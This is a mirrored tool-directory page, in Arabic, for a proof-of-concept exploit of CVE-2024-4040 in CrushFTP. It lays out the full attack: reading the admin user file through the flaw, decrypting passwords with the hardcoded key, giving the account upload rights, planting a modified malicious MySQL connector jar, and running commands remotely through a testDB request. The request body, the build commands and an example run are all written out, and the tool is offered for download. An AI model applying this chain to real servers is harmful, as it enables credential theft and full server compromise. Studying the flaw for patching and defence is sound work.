Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-4040 — إثبات المفهوم CVE-2024-4040 | Kitploit
أدوات/GitHubGitHub/entroychang/cve-2024-4040
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubentroychang/cve-2024-4040

CVE-2024-4040

إثبات المفهوم CVE-2024-4040

عرض المستودع
31منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-4040

مقدمة

  • لاحظت هذه الثغرة مؤخرًا ووجدتها مثيرة للاهتمام، فقرأت المقالات التالية وكتبت استغلالًا (exploit) بسيطًا.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/

الجهاز الهدف

  • استخدمت حاوية docker خاصة بشخص آخر، ولمزيد من التفاصيل راجع GitHub الخاص بالمؤلف.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

خطوات الهجوم

الحصول على كلمة المرور

  • استخدم exploit.py و decrypt.java للحصول على كلمة المرور وفك تشفيرها. السبب ببساطة هو أن المفتاح (key) مكتوب بشكل ثابت (hardcoded)، لذلك يمكن فك التشفير بالإضافة إلى إمكانية قراءة أي ملف.
  • لاحظ هنا أنه إذا لم يكن حساب المسؤول الافتراضي crushadmin موجودًا، يمكنك محاولة الحصول على CrushFTP.log، فهو يحتوي على معلومات الحسابات التي يمكن الرجوع إليها.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • المنطق أولًا هو التحقق مما إذا كان الهدف يحتوي على الثغرة، وذلك باستخدام أربعة حسابات افتراضية موجودة ومحاولة الحصول على ملف user.XML.
  • بعد التأكد من وجود الثغرة، يتم جلب الحساب الذي يحدده المستخدم، وإن لم يُحدد أي حساب فسيتم استخدام crushadmin، وهو حساب المسؤول الافتراضي الموجود.
  • بعد الحصول على كلمة المرور، يتم استخدام decrypt.java لفك تشفيرها.
  • ميزة --shell مخصصة لتسهيل رؤية نتائج تنفيذ الأوامر عن بُعد (RCE). بعد رفع ملف jar بالطريقة الموضحة أدناه، يمكنك تحديد --jar-path و --headers لرؤية نتيجة تنفيذ الأمر.
    • انتبه إلى أن --headers يجب أن يتضمن كوكي تسجيل الدخول (Cookie)، مثل: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • القيمة الافتراضية لـ --jar-path هي /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. إذا كان الملف في مسار مختلف فتذكر تحديد المسار؛ نظريًا يمكن استخدام مسار نسبي، لكن يُنصح باستخدام مسار مطلق.
    • للخروج، اكتب exit وسيتم الخروج.

تسجيل الدخول لتعديل التعيينات والصلاحيات

  • بعد تسجيل الدخول، انتقل إلى admin.
  • بعد العثور على User Manager، انقر على المستخدم في الجهة اليسرى، واسحب المجلد الذي تريد تعيينه إلى User's Stuff، ثم عدّل الصلاحيات، ويجب تحديد خيار upload بالتأكيد.

رفع ملف jar الخبيث

  • ارفع ملف jar الخبيث؛ لقد جهّزت نسختين مسبقًا، واحدة لإصدار jdk 16 والأخرى لإصدار 13، وذلك يعتمد على إصدار Java الذي يستخدمه الخادم.
  • عد إلى files وانقر على upload ثم ارفع ملف jar الخبيث.

RCE

  • سبب الثغرة ببساطة هو وجود ميزة testDB تتيح لك تحديد ملف jar وكائن driver بنفسك، ومع إمكانية الرفع، يمكن ربط هذين الأمرين معًا لتحقيق RCE.
root@kitploit:~
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • الأمر في الصورة هو id.
    • مرّر الأمر بعد ترميزه بصيغة base64 في المتغير db_user ليتم تنفيذه.
  • إصدار mysql connector الذي عدّلته بنفسي هو 5.0.4.
  • إذا لم يعمل الإصداران المجمَّعان، فقد وفّرت النسخة المعدّلة من قبلي، ويمكنك إعادة تجميعها باستخدام الأوامر التالية:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
تنزيل الأداة
  • مثال على الأمر: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"